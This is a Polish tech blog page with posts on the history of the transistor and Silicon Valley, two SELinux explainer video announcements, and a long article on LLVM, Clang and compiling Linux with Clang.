Zbudowanie elektronicznego przełącznika pozwoliło skonstruować logiczne bramki. Np. przy pomocy kilku tranzystorów można zbudować układy realizujące operacje logiczne, takiej jak AND, OR i NOT. Te proste operacje logiczne wraz z arytmetyką binarną są podstawami dzisiejszych procesorów. Stworzenie tranzystora rozpoczyna erę ówczesnych komputerów oraz całą masę urządzeń elektronicznych.

W 1948 roku Bell Labs opublikował jeden z najważniejszych dokumentów dla dzisiejszej komunikacji w sieci. "A Mathematical Theory of Communication", to matematyczne podstawy kodowania informacji przy pomocy urządzeń elektronicznych.

W 1956 roku John Bardeen, Walter H. Brattain i William Shockley otrzymali nagrodę Nobla z fizyki za wkład w stworzenie tranzystora.

Dolina Krzemowa

Zapewne Dolina Krzemowa kojarzy Ci się z informatyczną mekką, Google, Facebook, Intel, Microsoft i całą reszta wielkich korporacji. Jednak zanim tak się stało miejsce to miało przeznaczenie rolnicze i było pełne owocowych sadów.

W 1953 jedne z konstruktorów tranzystora William Shockley opuścił Bell Labs i założył firmę produkującą tranzystory zwaną Shockley Semiconductor Laboratory. Oczywiście na lokalizacje wybrał wspomniane tereny rolnicze. Kolejną oczywistością jest to, że sam nie mógł zająć się wszystkim, potrzebował współpracowników. Tak więc zebrał najlepszych fizyków, był tam chyba też chemik i matematyk, razem było ich ośmiu (zdradziecka ósemka).

Jeżeli jesteś dociekliwy, pewnie zadajesz sobie pytanie dlaczego zdradziecka? Otóż osoby te miały okazje pracować w pierwszej firmie zajmującej się produkcją półprzewodników i zdobyły tam cenne doświadczenia zawodowe. W tamtych czasach produkcję półprzewodników napędzała zimna wojna,  Shockley Semiconductor Laboratory realizował wiele zleceń dla Armii US. W każdym bądź razie w 1957 roku cała ósemka opuściła dotychczasowego pracodawcę i założyła nową firmę zwaną Fairchild Semiconductor. W 1968 roku dwóch inżynierów ze wspomnianej ósemki stworzyło kolejną firmę, którą na pewno kojarzysz. Robert Noyce i Gordon Moore stworzyli firmę Intel i tak powstała Dolina Krzemowa.

W tym miejscu kończy się historia, którą chciałem przedstawić a zaczyna się historia współczesnej informatyki.


Otóż każda część Twojego laptopa, czy tabletu ma swoich przodków w przedstawionej historii. Ekran, dysk, WiFi, gładzik, zasilacz, bateria, głośniki, kamera, mikrofon, procesor, jednym słowem wszystko. Wszystko to składa się na obecnie jedno z najbardziej złożonych urządzeń elektronicznych zwanych komputerem. Każda z tych części może działać tylko dzięki energii elektrycznej. Obecne komputery nie mogłyby oferować takiej funkcjonalności, gdyby wcześniej nie wynaleziono żarówki, elektrowni, baterii, telefonu, radia, telewizji i w końcu tranzystora. Każdy z tych wynalazków jest częścią historii obecnych komputerów.

Więc, jeżeli zastanawiasz się jak działa WiFi, czy procesor, a tym bardziej jakich innowacji niebawem się doczekasz, to w pewnym sensie pytasz o przyszłość urządzeń elektronicznych, z których zbudowany jest Twój komputer.

Ale tryumf elektryczność nie ogranicza się do zbudowania komputera przez człowieka. Elektryczność, a właściwie nasza umiejętność manipulowania nią zmieniła cały nasz dotychczasowy świat, komputer zaś jest tylko jedna z form tej rewolucji.


Wednesday, May 22, 2013

Czym SELinux nie jest

Prezentuje kolejne wideo o SELinux, tym razem staram się odpowiedzieć na pytanie czym SELinux nie jest, czyli przed jakiego typu zagrożeniami nas nie broni.
Jest to tak samo ważne jak to, przed jakimi zagrożeniami SELinux nas chroni.

Przedstawiam jak mogą działać domeny SELinux, oraz jak SELinux ma się do takich technik jak buffer overflow i shellcode. Jeżeli rozważasz wdrożenie SELinux i zastanawiasz się przed czym rzeczywiście ochroni on Twój system, to poniższe wideo jest właśnie dla Ciebie.

Sunday, May 12, 2013

Standardowe uprawnienia a SELinux (MAC vs. DAC)

Po raz pierwszy na swoim blogu publikuje nagranie, mam nadzieję że będzie użyteczne dla wielu osób. Niektóre tematy lepiej jest pokazać niż opisać, dlatego postanowiłem zrobić nagranie.

Temat "MAC vs. DAC" w kontekście SELinux jest bardzo popularny, ba zazwyczaj rozpoczyna niemal każdy dokument, książkę czy prezentację na temat SELinux. Jest to szczególny temat, bo wyjaśnia czym właściwie jest SELinux i czym różni się od tego czego używamy, czyli standardowych uprawnień systemu. Z nagrania dowiesz się czym właściwie jest SELinux.

Nazwa Security-Enhanced Linux podpowiada, że chodzi o wzmocnione bezpieczeństwo, ale nazwa modelu, który on implementuje (Mandatory Access Control) nie wiele wyjaśnia. W tym wideo wyjaśniam o co dokładnie chodzi w SELinux poprzez omówienie poniższe punktów:

1. Różnice pomiędzy MAC (Mandatory Access Control) a DAC (Discretionary Access Control)
2. Security-Enhanced Linux, co to dokładnie znaczy "wzmocniona/ulepszona"?
3. Dlaczego rozszerzony mechanizm kontroli sprawdzany jest po akceptacji standardowych uprawnień?

Sunday, March 3, 2013

LLVM i Linux

Ostatnio dużo słychać o nowościach wprowadzanych w Linuksie, głownie w jądrze. Jednak jest pewna nowość, która wprowadzi fundamentalne zmiany w kodzie całego systemu, ale dla użytkowników będzie prawie niewidoczna - przynajmniej nie w swojej naturalnej postaci. Prędzej czy później na pewno zaowocuje to ulepszeniami i nowościami, w niektórych obszarach już tak się stało ale po kolei. W tym tekście postaram się przedstawić projekt LLVM i Clang, wyjaśnić czym są, jak działają i dlaczego są lepsze od GCC, czyli tego czego obecnie używa GNU/Linux.

W informatyce wszystko zaczęło się od programowania, systemy operacyjne, aplikacje, a nawet same języki programowania. Jak to mówią niektórzy, w programowaniu prędkością światła jest C - jakkolwiek by to nie zabrzmiało, to tak czy inaczej jest to prawdą E=mc2.

Systemy operacyjne i oprogramowanie wymagające szybkości działania pisze się w C lub C++. Z czasem, gdy komputery stawały się coraz szybsze zaczęto przedkładać prostotę i szybkość programowania nad wydajność. Nie przejmowano się tym ponieważ ciągły wzrost mocy obliczeniowej obecnych komputerów to rekompensował. Wtedy zaczęły powstawać nowe odmiany języków programowania w sensie procesu przetwarzania kodu źródłowego na maszynowy. Odchodzono od kodu kompilowanego na rzecz wirtualnych maszyn i interpreterów. Wirtualne maszyny Javy VM i .NET-tu odniosły ogromny sukces. W przypadku Javy największym zyskiem była przenośność napisanych programów, koncepcja kodu pośredniego w postaci wirtualnej maszyny sprawdziła się i udowodniła swoją słuszność.

Drugą bardzo popularną gałęzią i wcale nie nową były języki interpretowane: PHP, Python i cała masa innych. Język C i C++, zwłaszcza ten drugi nadal się rozwijał, ale koncepcja generowania kodu nie zmieniła się od lat. Zwolennicy wirtualnych maszyn chwalili sobie korzyści jakie niesie ich używanie, a użytkownicy języków skryptowych chwalili sobie szybkość i prostotę pisania w tych językach. Czy to znaczy, że racja musi leżeć po jednej stronie, nie! Wojna pomiędzy zwolennikami języków statycznych i dynamicznych zawsze trwała, a w tym czasie ktoś wpadł na genialny pomysł aby najlepszy język na świecie wyposażyć w rozwiązanie hybrydowe. Okazuje się, że lepszym wyborem jest połączenie dwóch metod niż wybieranie jednej z nich. Co ciekawe, koncepcja połączenia kompilacji statycznej z dynamiczną w C/C++ nie powstała wczoraj, ale w 2000 roku w projekcie LLVM.


Logo projektu LLVM
Pełna nazwa projektu brzmi Low Level Virtual Machine, ale nie do końca oddaje ona czym obecnie jest projekt LLVM. Przede wszystkim utworzenie wirtualnej maszyny dla kodu generowanego przez C/C++ nie było jednym celem projektu. Chciano przy okazji wzbogacić kompilator o nowe możliwości, których brakowało do tej pory głównie dla GCC. LLVM to grupa kilku podprojektów tworzących kolekcję narzędzi ułatwiających i optymalizujących proces tworzenia kodu. Modularna budowa umożliwia wygodny rozwój i widocznie gwarantuje sukces. Zanim jednak podam przykłady obecnych osiągnięć LLVM chciałbym zwrócić uwagę na coś co jest sercem każdej maszyny wirtualnej - to jej "Bitcode".

Tradycyjny kompilator języka C/C++, taki jak GCC wykonuje trzy podstawowe etapy:

  • poddaje składni leksykalnej kod źródłowy
  • generuje odpowiadający instrukcjom języka kod maszynowy, dołącza niezbędny kod używanych bibliotek i optymalizuje wszystko razem
  • tworzy ostateczny format pliku wykonywalnego z kodem maszynowym

Zwróć uwagę, że od samego początku do końca kompilator posługuje się kodem maszynowym przeznaczonym dla konkretnej architektury. Ponad to wirtualna maszyna LLVM nie zajmuje się pierwszym etapem, tym zajmuje się inny projekt zwany Clang, o którym napiszę w dalszej części tekstu.

Architektura LLVM

W celu lepszej prezentacji architektury LLVM oraz zrozumienia jakie zadania realizują poszczególne podprojekty stworzyłem poniższy schemat. Prezentuje on przepływ kodu źródłowego, aż do kodu maszynowego i nie zawiera nawet większości podprojektów LLVM.

Architektura LLVM
LLVM posiada tak zwane front-endy, są to kompilatory. Ich zadaniem jest dostarczenie kodu dla wirtualnej maszyny w specyficznym formacje, nie mającym jednak nic wspólnego z kodem maszynowym przeznaczonym dla konkretnej architektury. Standardowo GCC nie potrafi generować bitcode dla LLVM, dlatego stworzono odmianę kompilatora zwaną llvm-gcc, obecnie jest to rozszerzenie dla samego GCC zwane DragonEgg. Jego zadanie polega na analizie kodu źródłowego zgodnie ze standardami GCC, ale generowany kod jest przeznaczony dla wirtualnej maszyny LLVM, a nie architektury procesora.
Drugim kompilatorem jest Clang, to własny projekt LLVM stworzony od podstaw na jego potrzemy. To właśnie on jest jednym z powodów sukcesu LLVM i chęci kompilacji Linuksa na LLVM.

"LLVM - 2.0 and beyond!"
Chris Lattner,
Google Tech Talk July 27, 2007


Clang jest kompilatorem języka C, C++ i Objective C, który jest kompatybilny z GCC. Oczywiście jego kompatybilność dotyczy głównie składni a nie rozszerzeń, te drugie są z kolei największym problemem w procesie kompilacji jądra Linux na Clang.

Największą zaletą Clang są jego rozbudowane i przyjazne dla człowieka komunikaty o błędach, oprócz lepszego wskazywania błędów podpowiada jak je rozwiązać. W praktyce oznacza to szybsze odnajdowanie błędów i ich naprawę, czyli szybszy rozwój systemu. Ważne jest to, że często Clang szybciej wykonuje kompilację, zużywa przy tym mniej zasobów, tworzy mniejszy i bardziej zoptymalizowany kod wykonywalny niż GCC.

"LLVM - 2.0 and beyond!"
Chris Lattner,
Google Tech Talk July 27, 2007
Jedną z egzotycznych możliwości Clang jest dynamiczna kompilacja JIT, tak jak ma to miejsce w przypadku np. Pythona - kompilowany kod jest od razu wykonywany na bieżąco.

Podobnie jak w LLVM budowa Clang jest modularna i Clang jest czymś więcej niż tylko kompilatorem - to kompilator z możliwością integrowania przydatnych narzędzi. Clang obsługuje wiele funkcji, które umożliwiają lepsza integrację ze środowiskami IDE. Przykładem takiego rozszerzenia jest source code refactoring (zobacz nagranie Clang MapReduce -- Automatic C++ Refactoring at Google Scale), który umożliwia zmianę nazw np. metod konkretnej klasy. Drugim przykładem może być Clang Static Analyzer, który pozwala na sprawdzenie błędów w kodzie bez kompilacji, niestety sama analiza nie jest szybsza niż sama kompilacja, ale z kompilacją byłaby o wiele dłuższa.

LLVM Optimizer

"LLVM - 2.0 and beyond!"
Chris Lattner,
Google Tech Talk July 27, 2007
Mechanizm optymalizacyjny maszyny LLVM działa na własnym formacie kodu, dzięki temu niezależnie czy kod pochodzi z C, C++ czy innego języka poddawany jest tym samym mechanizmom optymalizacji, a później jest przetłumaczany na kod maszynowy dla konkretnej architektury, czyli na tzw. back-end. To sprawia, że programiści do tej pory pracujący nad optymalizacją różnych kompilatorów teraz mogą wspólnie pracować nad jednym projektem i na dodatek na przejmować się specyfiką języka ani architektury.

Istotą bitcode jest niezależność od języka i architektury, dlatego musi on być w takiej formie, aby bez problemu można było przetłumaczyć każdą instrukcję z każdego języka na niego oraz aby każdy bitcode można było potem przetłumaczyć na dowolną architekturę. Tym pierwszym zajmują się front-end, a drugim back-end.

LLVM Intermediate Representation (IR)

IR to format języka wirtualnej maszyny LLVM (jego low-level bitcode), co ciekawe dostępny jest ona w tekstowej postaci czytelnej dla człowieka, co przyniosło dla LLVM największy sukces. Dzięki temu pisanie front-endów i back-endów jest bardzo proste w przeciwieństwie do GIMPLE z GCC.

Formą, która obsłuży każdy język i każdą architekturę okazały się krótkie instrukcje o stałej długości, jak w RISC. Opis tego kodu można zobaczyć na stronie projektu.
Z kolei na blogu LLVM został opublikowany opis dokładnie wyjaśniający cykl życia instrukcji w maszynie LLVM: Life of an instruction in LLVM.

Kto używa LLVM

Przede wszystkim Apple, LLVM jest podstawą XCode. Apple wykorzystując modularność LLVM (back-end) i możliwość kompilacji dynamicznej stworzyło OpenCL - framework, który pozwala na pisanie kodu niezależnego od środowiska sprzętowego. Jednym z przykładów jest możliwość wykonania graficznych operacji na sprzęcie nie wyposażonym w GPU.

Kolejnym dużym użytkownikiem jest Google, który używa Clang dla swoich własnych bibliotek i silnika wyszukiwań. Najbardziej jednak skorzystał na tym Android, jego Renderscript jest podstawą działania aplikacji graficznych na przeróżnych tabletach i telefonach. Zastanawiałeś się kiedyś czym jest format .apk używany przez aplikacje ściągane ze sklepu Google play? To bitcode LLVM, który został skompilowany na dowolnym urządzeniu. Podczas pierwszego uruchomienia zostanie on przetworzony przez back-end z bitcode LLVM na architekturę twojego urządzenia i po prostu działa.
Tak samo sprawa wygląda z aplikacjami w Chrome, spójrz na projekt Portable Native Client (PNaCl).

Warto wspomnieć o GNOME Shell, który emuluje efekty graficzne nawet na maszynach nie wspierających akceleracji 3D, a to dzięki LLVMpipe.

Nie trudno domyślić się że Apple i Google są firmami, które rozwijają LLVM ale są też inne głównie Qualcomm Innovation Center i Intel oraz wiele instytucji naukowych i edukacyjnych. LLVM używają ośrodki naukowe, takiej jak CERN i Argonne National Laboratory. LLVM/Clang używa nawet Adobe, więcej przykładów możesz znaleźć na stronie LLVM Users.

Kto przeszedł na LLVM

Czy wiesz, że Linus Torvalds zaczął pracę nad jądrem Linux, bo zafascynował się systemem MINIX? Teraz domyślnym kompilatorem w MINIX jest Clang.

Obecnie przechodzi na niego FreeBSD, wszystko zaczęło się od tego, że projekt nie mógł zaakceptować nowej licencji GPLv3 obowiązującej nowe wersie GCC. Szukając wyjścia z sytuacji postanowił wybrać LLVM, podobnie było z Apple.

Kto nie chciałby mieć pingwina ze skrzydłami smoka?


Dotarliśmy do sedna tego tekstu, wygląda na to, że po sukcesach jakie odniósł LLVM deweloperzy chcą umożliwić kompilację jądra i całego systemu na Clang. Jeżeli chodzi o jądro to tym zajmuje się projekt LLVMLinux (, natomiast jeżeli mowa o pierwszej dystrybucji, która zostanie skompilowana w całości na Clang to najprawdopodobniej będzie to Debian. Obecnie tylko 12% pakietów nie udało się jeszcze skompilowanych przy pomocy Clang, stan tego procesu można śledzić przez stronię Wprowadzeniem Clang do Debiana zajmuje się Sylvestre Ledru, jak pisze, robi to po to, aby przekonać się czy system GNU/Linux może skorzystać na LLVM. Więcej o procesie kompilacji Debiana dowiesz się z prezentacji Make Debian compiler agnostic - Building Debian with LLVM/Clang na FOSDEM'13.

Parę dni temu odbyła się konferencja Embedded Linux Conference 2013, na której Behan Webster prezentował obecny stan prac w procesie przystosowywania jądra do kompilacji na Clang. Pierwsza część prezentacji odpowiada na pytanie dlaczego kompilować jądro na Clang, druga część dotyczy technicznych problemów z tym związanych.

Szybki rozwój

Podczas spotkania LLVM Developer Meeting 2012 zaprezentowano jak bardzo przyśpiesza rozwój tego projektu. Sądząc po liczbach, wspomnianych wyżej osiągnięciach i możliwościach nie sposób oprzeć się wrażeniu, że LLVM i Clang w najbliższej przyszłości mogą stać się standardem w projektach open source.

LLVM Developer Meeting 2012 San Jose, November 8, 2012
LLVM Developer Meeting 2012 San Jose, November 8, 2012
Co prawda nie brakuje również negatywnych ocen dla LLVM/Clang oraz wątpliwości związanych z licencją UIUC License (BSD-style). Wiele z tych kwestii jest poruszanych w artykule Distributions looking at LLVM na

Mimo wszystko uważam, że uczynienie systemu Linux kompatybilnym z LLVM/Clang jest jak najbardziej słuszne, zawsze zostaje jeszcze GCC. Wierzę, że w open source, tak jak w biologii różnorodność zwiększa szanse przetrwania gatunku. Możliwość kompilacji systemu Linux na dwóch różnych kompilatorach może mu tylko pomóc, a nie zaszkodzić.

Pozostałe zasoby:
"Mac OS X 10.5 Leopard: the Ars Technica review",
"LLVM", The Architecture of Open Source Applications